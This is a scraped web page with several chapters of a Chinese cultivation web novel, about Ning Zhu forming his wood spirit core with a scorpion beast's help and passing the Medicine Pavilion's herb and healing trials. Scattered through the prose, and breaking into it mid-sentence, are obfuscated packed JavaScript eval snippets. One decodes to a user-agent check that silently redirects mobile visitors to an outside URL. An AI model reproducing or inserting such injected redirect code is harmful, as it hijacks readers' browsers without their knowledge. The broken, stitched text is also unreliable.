;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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剧烈的嗡鸣声中,两道灵脉仿若勾魂索直直穿刺蝎子的躯壳,它的喉中溢出一声痛苦的呜咽,双目却还看着少年丹田中越发成型的气旋。 幼崽……别让我失望啊! 少年喉中滚出一声低哑的嘶吼,木灵力所形成的气旋越发强盛—— “嗬——!” 轰!! 满院青翠的草木在此刻向宁竹递去触肢,细小的、纤弱的、飘摇的绿色光点数以万计!宁竹额角脖颈上青筋暴起,盘旋的灵力气旋轰然成型,他周身盘旋的灵气飓风已然被木灵气取代,青翠的色彩强硬地挤开属于灵脉的红蓝双色。 灵源,凝成! 少年的身形不受控地被灵气飓风带起,他悬于空中,那满院的光点还在朝他汇集,再度凝聚的灵源来自不拒,飙升的灵力势不可当。 聚气一段……二段…… 蝎子愣怔地看着那灵源上逐渐增长而出的旋臂,灵力还在攀升—— 是那满院的草木对宁竹的认同吗? 又或者是……少年坚持不懈地一遍一遍修行锤炼。他早已突破、他早该由此成就,此时此刻不过是他迟来的奖章! 蝎子顾不上被穿刺的疼痛,它全力牵制那两条还想发难的灵脉,直到少年周身飘摇的灵气散去。 最后一条灵力旋臂紧贴灵源,缓慢地跟随灵源旋转起来。 散去的灵气再也托不住少年的身形,他缓缓落地,睁开眼一瞬,少年瞳眸之中是属于草木的生机。 三年磨难,三年蛰伏,宁竹再一次回到属于他的世界里,满院的草木向他递来欣欢的呼唤,那实在太过吵杂,太过喧闹,宁竹眼中水雾氤氲,他握住拳头,紧紧抵在心口,感受着那久违的属于草木的气息。 木灵属修者宁竹。 聚气—— 三段! 34.信任 久违的力量充盈少年体内,如果没有三年前灵源破裂那一遭,按宁竹的修炼速度,如今的宁竹理应是要到聚气六段甚至七段之上,但和那三年在散气起落反复相比,如此突破也已是称得上飞跃。 宁竹定了定神,那两条灵脉在宁竹成功凝源之后便安定下来没再发起攻击,宁竹闭目内观,他的木灵源缓缓旋转着,但似乎……比他以前的灵源要小一些? “对。”蝎子突然出声,它肯定了宁竹心中所想,“你这两条玩意霸了不少灵力,能成功凝聚木灵属灵源,而不掺入水火灵力就已是万幸了。” 宁竹愣了下,他的意识潜入那片空间里,瞬时间被蝎子的虚弱惊得讶异:“你……你还好吗?” “还没死。” 蝎子有气无力地蜷着身体,蝎尾轻轻甩动。 宁竹先前凝源的时候只感觉到了灵脉暴动了几息,旋即很快被压制下去,他大概猜到了蝎子在帮他压制,可现在亲眼见得,才知道蝎子所付出的代价远比自己想的多。 一旦他死了,蝎子也讨不到好。此话不假。但此刻蝎子虚弱至此……他就不怕自己卸磨杀驴过河拆桥? 那两条灵脉依旧捆在蝎子身上,宁竹尝试调动,那两条灵脉却毫无反应。 “别折腾了,幼崽,你修为不够。”蝎子闷声道,“我原本的打算,是在你凝源的时候强行把这两条玩意排挤出去,啧,失算。” 灵脉比宁竹、更比蝎子预估的顽固。宁竹凝源已成,灵脉也依旧纠缠在宁竹身体里,以至于他的灵源要小于同阶层的灵源。 而这最直观的后果,便是宁竹虽有聚气三段,但实际能供他调动的灵力,顶多只能和寻常聚气一段相比较。 宁竹苦笑一声。 “难不成这两条灵脉,真就动不得了?” “也不是,”蝎子道,“比你凝源之前,这玩意已经没有那么强势了,所以你当务之急是继续修炼提升,我估计你聚星时还要被卡一阵。” 蝎子声音倒是平稳,若不是宁竹就在它身前不远处看着,还真感觉不到蝎子此刻的虚弱。 “在我族,有一门利用五行相生之法的秘术,木能吞水,这水灵属倒是好解决,但木却吞不了火……幼崽,恐怕你得做好准备。” 宁竹眉梢一挑。 听这意思……蝎子是准备继续帮自己? 不……还有另一种可能。 它是怕宁竹成功凝源后,认为蝎子已失去价值,对它下死手。 宁竹没有拆穿这点。毕竟若是换自己放在蝎子的立场里,他也会做同样的选择。况且……宁竹睁开双眼,他手一招,昏暗的小院中,他掌心凝聚的木灵力分外显眼,而其当中,飘逸着一缕若有若无的灰紫丝线。 ……那是毒。 少年眼神微变,他微微点头,又道:“木里的毒能控制吗?” “可以。”蝎子叹气,“有我在,不会影响,但毒能增强你木灵力的攻击性,为什么不要?” 宁竹顿了顿:“出于某些历史原因,毒修的处境跟邪修差不多,我还不想把自己按在全世界的对立面。” 蝎子:? 蝎子:不是很懂你们人类,但行吧。 在蝎子的操控下,那点灰紫的丝线很快隐入蝎形印记中,宁竹手中的灵力终于回归他记忆里的纯粹。少年静静地注视着这团纯粹的灵力,像欣赏着一块无暇的美玉。 “对了……”蝎子突然出了声,“幼崽,把那朵花拿出来。” “花?”它这突如其来的指示令得少年愣了一下,旋即才想起那朵被蝎子评为“好东西”的枯花——扇叶通心莲。 宁竹疑惑着从手环中取出那朵花,动作间又蹭掉了几片花瓣,看得这只魔兽“嘶”的一下抽了口冷气,像是心疼急了:“幼崽,你动作能不能轻点。” 宁竹无辜:“要不你来拿。” 那朵小枯花经过宁竹先后几次拿取,外层已然秃了一圈,露出一小截皱巴巴的枝干。少年借着月色打量这朵花,半天下来,也只能得出一个品相极烂的结论。 可恢复了木灵力的宁竹端着它时,那朵小小的枯花上传来一股令人移不开的吸引力。 蝎形印记缓慢地从宁竹小臂上攀至掌心,而这时宁竹才注意到,那层烙印仿佛褪了色一般,些许发灰。 蝎子没有觉察宁竹的打量,它的注意力全在这朵枯花上。蝎子“啧”了一声:“还好你当时选走了。” “要不然……可就埋没了。” 听得蝎子这么说,宁竹的兴趣更上一层,他的视线从印记上转走,重新回到枯花上。 在当时便能对天然与植物高亲和的宁竹产生吸引力,使得宁竹放弃了一株木属性灵植去选走它,也足以证明其不凡。 只不过宁竹不得窍门,只能凭直觉知道这朵枯花没那么简单,但真要说怎么用,宁竹还真毫无认知。 “你知道怎么用?” “哼,”蝎子笑了一声,声音里染上了几分莫名的骄傲,“幼崽,用木灵力浇灌它。” 宁竹依言照做,他另一手上凝聚的木灵力还没散去,此刻正好直接将枯花包裹,只一眨眼,那团光球瞬间缩小了一圈,而那朵枯花还纹丝不动。 少年“嘶”的一声,他还没说什么,这只魔兽顿时兴奋起来:“多浇点!快!” 宁竹掌中灵力汇集,自指尖淌入那团光球中,像是感受到了供给,那朵小花漂浮着轻轻转动起来,很快蜷缩的花瓣舒展开来,呈现莲花的形状,而其上枯灰的叶片由褐转黄,花瓣边缘更是晕开一层浅淡的粉。 清浅的香味从中逸散而出,这朵枯花在木灵力的浇灌下逐渐恢复生机。 “用毒——” 蝎子发出下一步指示,宁竹没有犹豫,他指尖一点,蝎子配合着压缩出来的毒如飞箭刺入光球之中,瞬息之间,花朵便似融化一般迅速变得半透,随着这一下变化,宁竹心头猛地一跳! 还真给他捡到宝了? 少年唇角边微微扬起一抹笑,他看着那灵气浓郁程度已然能和二阶灵植相比的花朵。他手上轻轻一招,那光团边朝他飘了过来。 扇叶通心莲融化后的色彩清淡,仿若玉髓在光团中流淌,而其纯粹程度更是令得宁竹心头狂跳,这朵花之于木灵属修者,完全是大补之物。 吸收它,宁竹的修为还能再上一阶也说不定! 少年眼中的激动之色越发浓郁,他抬手就要接住那团光球—— 他掌心的烙印却在此刻飙射出几道灰紫的丝线,直直破开光球勾索住那玉髓般纯净的灵力! 嗯? 宁竹愣住一瞬,而就这短短一瞬,丝线勾住灵力往回扯,霎那间穿透了宁竹的皮肉,浇灌在蝎形印记上,尽数被蝎子吸收走了。 少年转眼去看,便见得自己掌心里的印记受浇灌后重新焕发光泽,连其上符文似的纹路也逐一被勾勒了出来。 空中光球消散,只残留下一抹属于枯花的香气随风而动。 月光下少年站立庭院中,最后一抹香味消逝,便仿若方才什么都没有发生。 宁竹笑了。 “幼崽,这个就当孝敬我啦。”魔兽的声音带着一抹偷袭得逞的狡黠,吸收了灵力之后,这只魔兽的姿态一扫先前的疲倦,极有精神地朝着他挥舞钳肢,“我可帮你了不小的忙,收你点好处也是应该的吧?放心,亏不了你什么。” 宁竹却道:“你直接说,我也会给你的。” 这只魔兽愣怔住了,它挥舞的钳肢诡异地定在空中,宁竹甚至从它的双目里看到了几分不可置信。 宁竹莫名被它这反应笑到了,少年又一次重复:“下次直说就好了。” 用人不疑,疑人不用,大多数时候,宁竹都不想把事情闹到鱼死网破两败俱伤那一步。 之前的交易里蝎子落入下风,不得已压了不少筹码来和宁竹达成交易,它交出自己的本源印记来获取宁竹的信任,又在方才的凝源中消耗了本源来协助宁竹,这场交易里蝎子已然完成了它许诺的那一部分,那接下来,便是宁竹交出自己的诚意了。 ——不炼化蝎子,助蝎子在未来复生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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事态反复脱离控制,宁竹微妙地察觉自己居然已经算得上脱敏了。这几天下来宁竹也算是想明白了,凡事算至分厘,虽是细致,但换个角度看便是毫无容错率,一旦事情脱轨,就容易令人感觉全部完蛋。 可大部分时候,事情远没有糟到那一步。 宁竹逐渐学会允许事态不符预想。 ——天塌下来也有个高的顶着,下一秒就世界末日了也不是只死自己一个。 宁竹想开了。他当时催问蝎子能否快些完成凝源,自然是将医药阁的考核留作另一条出路。 他笑道:“我本来是想,要是能成功凝源,或许就不用去医药阁找方子了,现在看来,还是得考。” “方子?” “嗯,”宁竹解释,“我之前本来想去医药阁看看能不能搞到化灵散的配方,化灵散现在是用不上,但医药阁那边的药方很多……或许医药阁的记录里,能找到和这蛊有关的东西?” “我看悬,”蝎子有气无力地吐槽,“但也是个办法,试一试吧。” 蝎子顿了片刻,似乎是纠结了什么,它又幽幽叹了口气:“不过我可提醒你,你家这边……那几个人,修为很高。当时用毒刺激你那东西发作,我便差点藏不住了。他们的感知很敏锐,要是再来几次,我不能保证我不会被发现。” 蝎子所指的,自然是半月前的讯问见过的,宁家那四位修为极高的长老。 “而你后面聚星,需要的资源更多。”蝎子大概也明白自己的此刻的话听起来像哄骗,它的声音有点莫名的虚,但还是不得不劝告下去,“……幼崽,我劝你最好想办法离开这里。” 宁竹却笑了:“哈……那可真是巧了。” 少年抬起头,一只羽兽正巧从振翅而起,身形滑向远方辽阔的天际。 “刚好,我也没打算一辈子被困在这座牢笼里。” 35.医药阁 天一亮,宁竹便动身前往医药阁。 医药阁作为宁家的主要业务,其占地面积虽然不能和独占整座山头的灵植院比较,但作为唯一一个接收外族学子的分堂,医药阁的位置居于内外族的交接处,规模同样不小。 只一出现在通往医药阁的道路上,宁竹便感觉到众多视线落在自己身上,而在他走后,议论声纷纷。 宁竹习以为常地路过人群,他在大门前从手环中取出医药阁的令牌,守门的护卫倒是先顺着宁竹的动作,一眼瞥见他手环上属于灵植院的通行牌。 护卫嗤笑一声:“灵植院的?怎么,被淘汰了来偷师的?” 他语速极快地说完,又从宁竹手中夺过那枚令牌。嘴上说的是“进去”,语气却像是赶街边的乞丐。 大抵是料定了宁竹不过是一个毫无靠山的私生子,有意见也不敢闹事,他趾高气昂地微微仰起头,垂下的视线显然是等着看宁竹的笑话。 可预料中少年的窘迫气恼半点没有,他只见得面前的少年似笑非笑,上下打量他一眼,仿佛在看药壶里倒出来的残渣。 那护卫瞬间毛了,他刚抢出一个“你”字,宁竹已然掠过他,跨入医药阁的大堂中。 “你什么意思!站住!” 他一个气恼上头便险些冲进去,另一侧的护卫理智还在线,及时把他拦住了,嘴上不停劝着“你别上当啊”,顿时大门外吵成一片,就连院内身着统一服饰的正式学子都看了过来,眉头皱起,面上是显而易见的嫌弃。 还没走远的宁竹心下摇头,叹出一句无趣。 护卫多是外族无灵脉的弟子,没能通过医药阁的选拔试炼,但修为在外族中也算名列前茅才被留下,享部分医药阁的优待福利,不算医药阁的正式学子。 而他们这类人,平日里不得擅离岗位,更不得随意踏入医药阁内——相当于只是分配了个岗位上工。 他要是被宁竹这一激就冲进来了,那才有得他好受的。 宁竹听着门外骂骂咧咧的噪声,只觉得好笑。他没再搭理,只随被分配来接应的学子深入医药阁。 穿过曲折的回廊,这才到了医药阁的中央广场,一队人早已入席排列整齐了在那里等候,且每个人身前都有一方小木桌,大抵就是之后考核用作的小桌。 宁轲站于这列方阵首排正中,也没脱离人群,可以见得即便是他有长老亲传的身份,也没有太多的特权。 见得宁竹,宁轲的目光冷冽,而他身后一众学子的目光也都古怪起来,只不过这回没人低声议论,只是视线灼灼地跟着宁竹,直至少年随意地站至边角。 医药阁的氛围分外肃穆,连接引宁竹的学子也只是沉默着带路。只不过终究只是一帮十几岁的少年,他们表现得再沉默,眼底的不满与排斥也是藏不住的。 “一方水土养一方人”这句话在四大分院上表现得淋漓尽致,早在郁苍谷时,便也能从宁轲和宁长青身上窥得一二。 若非两院的氛围影响,以宁家的环境,宁轲的伪善和独断好养,宁长青随意与松弛便很难养出来了。 不知是否感应到了宁竹的所想,同样站于边角的宁巫看了过来,眼神中带着几分不满。她同样一言不发。 宁竹感觉到了,但宁竹懒得搭理,他藏于身后的手悄悄握紧成拳,蝎子同他传来最后一句话:“等下我会断开和你的链接,没生死大事别连上来,来人了。” 宁竹“嗯”了一声,便听得广场上传来一声悠长的钟鸣,侍者推开搭建在广场正前阁楼的大门,便见白发苍苍的老者笑呵呵地坐在太师椅上,居高临下地将广场上众人的反应收入眼中。 ——正是那日长老殿中见过的医药阁大长老。 蝎子的链接断得很快,宁竹抬起眼,身旁列阵整齐的学子却是齐齐鞠躬,发出震天的问好:“参见大长老!” 宁竹:…… 宁竹开始思考现在就转头出去还来不来得及。 少年心头无语,还是配合着众人微微躬身,只是没有问好。坐于高位的大长老抚着长须,笑呵呵地点头:“免礼。” 众人这才直起身子。 “今天是什么日子,想必大家也都清楚,在这里,我也简单说几句。”大长老笑呵呵地说着鼓励的场面话,“过去整整一年,我看到了我阁学子日夜奋斗、求知若渴,看到了大家刻苦训练、学习的身影,作为宁家的大长老,也作为医药阁的阁主,我倍感欣慰!” “现在,就是验收成果的时刻!别畏惧考核,孩子们,你们学到了什么,又掌握得如何,这场考核是你们展现自身的舞台!” 宁竹听得发困。 他实在很想打个哈欠,又碍于场面生生忍住了,可旁侧的少年们却被这简单的几句话调动了情绪,他们振臂一呼,怒喊一声:“是!!” 震天的应话给宁竹的睡意都赶跑了。宁竹无语地看了看离他最近的少年,那人脸上尽数是热血上头的激动之色。 宁竹想不明白这到底有什么好激动的。 端坐高位的长老似乎很乐意见得这群学子热血沸腾的模样,他顿了好一会儿,直到人群又安静下来,他才又一次开口:“但是。” 来了。宁竹偷偷把眼睛闭上了。如果可以,他还想抬手把耳朵捂上。 “作为医者,当精益求精,对自己的严苛是对身边的战友、对所有患者负责,我们医药阁,容不得半点马虎与敷衍!” “也因此,医药阁的考核,不仅采用合格制,同时也有淘汰制。今年,有两位来自内族的弟子,会加入我们医药阁的考核。凡考核不合格者,淘汰;合格者若分数低于两位内族弟子,降级。” “我承认,这很严苛。”老者脸上一扫方才的笑意,目光直直扫过台下每一个学子,便如一座大山压在每一个被他视线扫过的学子身上,“但我希望,我们医药阁最后留下来的医者,每一个都能将我们医药阁的阁训真正落实!” 少年们眼中激荡着之色,他们齐声怒吼: “敢向阎罗借寿元!!” 这道阁训吼向天地,仿佛要直达忘川,像地府宝殿掌管生死的神明发起宣战! . 很响亮,很有号召力。 宁竹承认。 可医毒到底同源,在这片毒修被打做极端危险分子的天乾大陆上,医者被依赖着、被需要着,也时常被当做潜在的毒修警惕着、提防着。 如此境地也使得大多医者不敢轻易接触毒物,即便宁家这种医修世家大族也是如此。 宁竹在坊间混迹那几年里,接触过的医者只凭一手治愈术便敢称自己懂医术。可治愈术能治疗的很有限,诸如破损的经脉、淤于体内的毒性,此类便不在治愈术的范围内。 宁家……也算是确实身经百战,不单以止血为结果的真正的医者了。 可即便如此,宁家对待毒也同样谨慎,凡是从积分阁兑出的药草、含有毒性的物品诸如兽核,通通需要登记留名。 这也是宁竹不轻易通过宁家获取药草、非要通过宁辞的原因。 宁竹稍稍呼出一口气,不再去想这些。 . “本次考核试炼,共计三试。” 长老宣布最后一句:“试炼一次不合格者,留级;累积二次不合格者,降级;累积三次不合格者,清退医药阁。” 他抬眼,侍者已经端着木盒上前,置于众人桌上。 那木盒盖得严实,宁竹却还是从缝隙中捕捉到了属于植物的气息。里头是药草。宁竹敏锐地判断出盒中物品。这是准备干什么? 台上的长老微微一笑,也不卖关子,他沉声道:“药草毒草,一字之差,功效天差地别,若是用药时取错药草,便是害人害己。” “有些药草同毒草长相极为相似,如何分辨药草,原本是灵植院的课题。” 他说到这里,视线突然微微偏转,似乎只是不经意地在宁竹身上一扫而过,然而对长老一举一动极为在意的学子还是捕捉到了这一瞥,几道视线转了过来,便也看见了宁竹手环上的通行牌,当即有人眼神骤变,露出几分恶意与排挤。 “但作为医者、药师,这一课题应当融入操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一株是纯正的、几乎按照图谱去生长的药草,而另一株是受生长环境影响产生了畸形、但药性丝毫没有改变的药草。 若是受了长老先前一句话陷入了思维定势,便会将其中一株归为毒草。 医药阁这试炼果然没那么简单。 . 宁竹的动作轻缓如水,但却快得身侧记录的侍者快要按不住讶异,他心头狂跳,看着宁竹拿起一株草药,几息之间便分辨出其药性完成归类,速度快得像乱来。 可他忍不住去对手里的正确答案,却惊愕地发现宁竹至今一个没错。 不不……一定是因为他跟灵植院有关系,所以他熟…… 侍者咽了一口唾沫,他从手中薄本中抬起头,便惊愕地发现宁竹已经分完了草药。 这么快? 怎么会这么快? 他差点惊呼出声,下意识就觉得宁竹是不是作弊动用了灵力,然而这方锁灵罩还稳稳运行着,他身上的灵力流转滞涩,没理由宁竹就能避开锁灵罩运行灵力。 所以……这只是纯粹的实力。 他压下心底的妒忌,抬头问宁竹:“是否确认提交答案?” 宁竹看他一眼:“不。” 侍者心下出一口气。 还好,宁竹也不是完全笃定自己的答案无错……而且他的答案本来也是全对,他要是还要改答案,那就只会往错了改,而且时间就有得拖了…… 侍者抱着看乐子的窃喜等待宁竹的下一步动作,却见得少年手按上了那个木盒子。 侍者唇角边压不住的一点笑意凝滞了。 他一句话都说不出来,眼睁睁地看着宁竹将木盒移动到了药草的分类上。 “香云樟。” 宁竹笑了起来。 “真阔绰啊。” 少年抬眼,看向呆若木鸡的侍者,他笑道: “提交答案。” 36.第二试 随着少年话音落下,他周围的锁灵罩消散而去。 当即有不少抓耳挠腮答不上来的人注意到他,一双双眼望过来,似乎觉得一个外来的抢在他们之前就交上了答卷很是不可接受,又限制于锁灵罩,有意见也传不出声,只得抓紧时间完成试炼。 宁竹抬眼,前方位于第一排中央的宁轲已然在他之前就提交了答卷,他回身望过来,宁竹便在他眼里读到了赤裸的恼恨。宁竹不慌也不恼,只回以唇角浅淡的弧度。 一炷香过去很快,陆陆续续又有很多人完成提交答卷,四下张望着和其他人对着答案,有人粗对一下便脸色大变,想来是发现了自己的答案和其他人的全然不同。 同样是走郁苍谷名额进来的宁巫就慢得多了,她倒是心无旁骛地分辨着药草,半点顾不上周围环境,堪堪是在香尽前一刻提交上答案,脸上甚至因为紧张而出了几滴冷汗。想来也是天赋不佳,不然有宁轲在,也不至于要走郁苍谷的特招名额。 “香尽。” 侍者冷声宣读,还没散去的护罩骤然缩小,笼罩在桌面上,登时那几个还没完成的便再动不了手,唰一下脸色变得惨白。再一环顾四周,发现两个走特招路子参与考核的都提交上了,脸色更是难看几分。 “收卷。” 侍者可不管这些人,只继续说到,站于小桌周边的侍者纷纷抬手,手中卷轴便飞向台上。卷与卷交叠,金光流转间信息已交换完成,他抬手,众人身前便展开一道半透的蓝色光幕,名字依照排名一一排开。 宁竹的名字紧随宁轲其后。 不少人的视线又一次扫到宁竹身上。 可是——就算他的答案全对,他也并不是第二个交卷的,为什么?当即有人变了脸色,不服地大声喊道:“常侍,这分数计算有误吧?” 他指着宁竹:“他分明在我之后交卷,为什么?我的答案哪里有误?” 宁竹扫过他的桌面。确实,他的答案无误。 但是,宁竹记得他,他是那个为了抢时间,一上来就把木盒子砸碎的。 宁竹不作声,他仍由夹杂着鄙夷与不解的目光将他扫视,只静静地看着站于长老身侧,被唤为“常侍”的侍者。 侍者闻言眉头一皱,脸上一闪而过的不喜之色倒是被宁竹一清二楚地捕捉了,侍者冷声道:“医者,一不可心浮气躁,二不可骄傲自满。你的确快,然后呢?” 他手轻轻一抬,那人脚下碎裂成渣的木屑便漂浮而起,在灵力的包裹下,浓郁而温暖的香气飘荡至整片广场。 “没了灵力,就辨不出云香樟了?”他手一挥,化成汁水的云香樟汁液泼溅那人满身,“如此急躁,罚你试后抄写百遍静心诀。” 那人脸色变了又变,他张口想要辩驳,又望见宁竹桌上那完好无损,归于药草一堆的木盒,最终还是气恼地收住了声。 有人幸灾乐祸地看着他吃瘪,却还没高兴过几息,台上长老递了个眼神,那侍者又冷声宣布:“高兴什么?他没辨出来云香樟,你们就辨出来了?” 他冷哼一声:“所有辨不出云香樟的,试后都给我抄写静心诀去。五十遍。” 这下,大部分人的脸色都难看得几近滴墨了。 少有的几个分辨出来木盒原材料的人心有余悸地松了口气,又唯恐自己成为众矢之的而不敢出声。 . 有够严苛。 宁竹暗自观察着在他眼前上演的这一幕,他略有些不适。本身宁家等级制度森严的环境就已经让宁竹颇感不自在,而这医药阁的制度更是加倍苛刻,宁竹心头顿时升起了要不还是跑路吧的想法。 就在这短暂的训话间,训练有素的侍者已经把所有人桌上的药草搬走,转而落在桌上的,是一尊半人高的木像。 ——有灵力波动。 宁竹微微眯眼,自木像上传来的灵力波动紊乱,像极了人类修士受到重创后体内无法正常运转灵力的身体。 居然连这样的模拟都能做出来……也难怪宁家的医疗水平要远超外界寻常医者。 宁竹没来得及想太多,台上那名侍者又一次宣读: “医药阁考核试炼,第二试:治愈术。” “试题:仅使用治愈术,找到并修补木像内部创口。” “时限:半炷香。” “容错量:一。” 宁竹暗自皱眉。 虽然他有水灵属在身,但为了避免频繁使用而产生依赖性,宁竹自然是连最基础的小治愈术都没学,这道试题,无疑是把宁竹架了出去。 “燃香。” 台上台下的侍者自己不会管在场的人会不会治愈术,只随着最后一声令下,折断的半炷香上一缕轻烟飘起,立即有人动起手来,本就水灵气浓郁的广场上水汽四溢,莹蓝色的光亮先后在小桌上亮起。 宁竹缓缓呼出一口气。 他抬手触上木像,仔细描摹过其上被人为雕刻出的纹理。如果说只是修补木像,宁竹有办法靠木灵力去完成,但这一关显然考验的是探查力和对治愈术的掌握能力,仅仅以宁竹对水灵力那样简单到曾被宁兰之嫌弃的操纵,这一试基本等同于提前宣布不合格了。 但……结合第一试的答案来看,医药阁的试炼绝非这么简单。 少年心下所想半点没表露出来,他的手按在木像上,水色灵力便顺着木像沁入内部,旋即,宁竹也被着木像内的千疮百孔震惊了一瞬。 这么严重的创伤…… 宁竹暗自评估了下。如果通过木灵力来养,这最少也要养上整整一周才能见好。 他的意识顺着灵力走过木像内每一丝断续的裂痕,忽的,一缕不寻常的灵力波动惊动宁竹的感知。 宁竹心念一动,他闭上双目,意识便深入木像核心。 一片灰暗的感知中,宁竹努力分辨着紊乱飘逸的灵力,循着那丝微妙的灵力波动,便看见了木像深处,被一团仿若粘稠琥珀般的灵力团包裹着几点碎屑般的红色亮点。 宁竹试着探出一点感知,旋即,灼热的感受烧上宁竹延伸出的触肢。 ……原来如此。 以火攻木,在木像内部嵌入火源珠的碎屑,持续烧灼着木像灵力,致使无法进行自愈。 而同时若是在使用治愈术时,没有探查到这点火源珠碎屑将之拔除,结束治愈后,火源珠碎屑便会重新破坏木像内部结构,直到整桩木像灵力彻底流失殆尽。 这就是这桩木像的“病灶”了。 他心念一动,下意识就要动用木灵力去拔除碎屑,又猛地想起来规则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14986182|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 限定了只能使用治愈术。 少年心下“啧”了一声,只得用水灵力直接引向星星点点的碎屑,试图将之冲带出来,却不想那碎屑似乎和木像融为一体了,只凭宁竹这样粗暴的冲洗根本洗刷不动。 得想想别的办法…… . 半炷香时间流逝飞快,转眼已有不少人提交答案,完成了这一轮考核。 宁轲作为长老亲传,依然是最快的那一个;而宁巫对治愈术也有所掌握,这一轮提交得很快。宁轲并不回头看身后其他人的进度,而作为特招获得考核资格的宁巫,则大方地打量着周围其他人,她的视线在周边游走一圈,最终还是停在宁竹身上。 她看着少年双目紧闭,流转周身的水灵力浓郁,却在使用间流露出股莫名的生疏。 ……他突破了? 不对……他不是只认木灵属吗?为什么他突然不抗拒用其他灵属了? 宁巫想不明白,她甚至有些意外,她原本以为,以宁竹对木之外的灵属的不屑,这一关他准备放弃了。 但是——宁巫微微眯起眼,她屏气凝神,感知越过广场上一片几乎凝实成水雾的水灵力,捕捉到了宁竹的灵力波动—— 他没在用治愈术。 宁巫越想越是想不明白,但宁竹的修为毋容置疑是提升了……听说少族长去找过他,或许之后应当提醒一下宁轲。 她刚确定想法,便听见台上侍者宣布: “香尽。” 顿时,周遭还在争分夺秒修补木像的人手上灵力都被强压着散去,宁竹手上的水色光亮亦同样。 然而,他身前的木像,非但没有接受治愈术恢复后自然流转的光泽,反而比修复前更灰败,甚至表面都隐隐出现了几丝裂痕。 他这是不懂关窍胡来,损伤了木像? 宁巫心下猜测,不知不觉松了一口气。第一试的时候宁竹速度实在快得超乎寻常,以至于宁巫有些紧张过度,险些忘了宁竹不善治愈术的客观事实。 医药阁的特招试炼,其实还有一道隐性规则没说出来。 那就是三道试炼,她和宁竹这两个外来者,可以成绩低,但不得有不合格。 如果宁竹能直接在这一关就被判为不合格…… 宁巫悄然握拳。 她身前,上前一步的侍者抬手按上木像,检测着木像内部的创伤修补情况。 宁竹身前的侍者却没这一动作,他只打量这尊半点受治愈的痕迹都没有的木像,心下一喜,刚要宣布宁竹不合格,却见少年忽的抬起头,一双墨瞳直直盯着他,分明是毫无感情,唇角边却带出一抹浅浅的弧度。 侍者被他这突然的举动弄得懵了,一时间也忘了方才想说什么,他还在努力回想,便见得少年手往桌上一放。 一把细微的火源珠碎屑落在木桌上,显眼得几近刺目。 那侍者喉头一哽,刚涌起到了嘴边的话不得不生生咽下。 ——能感觉到火源珠,并取出火源珠碎屑,便可谓是彻底根除病灶,没有异物在内破坏木像内部结构,那么恢复便是时间问题。 如此一来,也就不能判宁竹不合格了。 侍者牙都快咬碎了,他表情扭曲的脸上硬生生挤出来一个笑:“……算你勉强通过。” 37.第三试 检测同样很快完成。 这一轮被判不合格的,倒是只有零星几个。宁竹平静地打量四周,眼看那几个被判了不合格的弟子脸色瞬间煞白,大抵也能推测出来,这第二试不合格的严重性了。 不过倒也能理解……第一试时所考验的药材分辨本就不是医药阁需要专门学的,这些人平时接触到的药都是灵植院提供,更有外族弟子打杂帮忙分好归类,鲜少有需要亲自动手的时候,如此也只有近五分之一的人被云香樟所做的木盒坑到不合格,还勉强算情有可原。 而这轮治愈术所考验的是医药阁最为基础的功法,连这一试都拿不到合格……后果可想而知。 宁竹收回视线,发现他边上的人恨恨地盯着宁竹眼前灰败的木像,宁竹看了一眼他桌上的,的确是经过治愈术疗愈后生机焕发的模样,和宁竹的比起来……说宁竹的被医死了大概也没有人有异议。 毕竟上一轮中有异议的人,可是害大部分人一道挨了罚的。 宁竹转过眼,看着自己桌上那一把细碎的火源珠碎屑。 他并不擅长治愈术,这些碎屑,自然也不是通过治愈术冲洗出来的。 但——只说了不能使用治愈术之外的技能,也没说不能说服病号配合治疗啊。 借用自己对植物的高度亲和牵引木像,让木像自己把火源珠碎屑逼出来,宁竹再简单粗暴地全部卷走。 大概是木像自己也清楚,影响它自我修复的是这些嵌在内里的异物,而宁竹此举是在帮它,不算有灵智的木像依靠着本能,信赖着对它而言有着极强亲和力的宁竹,不惜损伤自己几分也要配合宁竹的洗刷。 这就是受了宁竹治疗的木像看起来极为灰败的原因。 宁竹倒也清楚自己这一手算擦了作弊的边,但好在这回没人提出异议。 现在三试已过其二,还剩最后一试…… . 少年还未回神,便见得台上侍者双手往上一抬,做出了个升起的手势。 台下,所有人后方的空地上灵力涌动,灵阵勾画而出,一只被灵阵锁住的魔兽便出现在这方广场上。 狮型魔兽发狂地撞击着灵阵所形成的囚笼,它面容扭曲,即使众人和它隔着百米之远,也能清晰地看见魔兽因充血而呈现出诡异红色的双目。 那只魔兽狂躁地怒吼着,可灵阵稳稳地运转着,它的冲撞没能让灵阵动摇一瞬,灵阵似乎还隔绝了声音,它愤怒的嘶吼便也一声都没有传出来。 “二阶魔兽……” 人群中不知是谁小小声地惊叹出声。 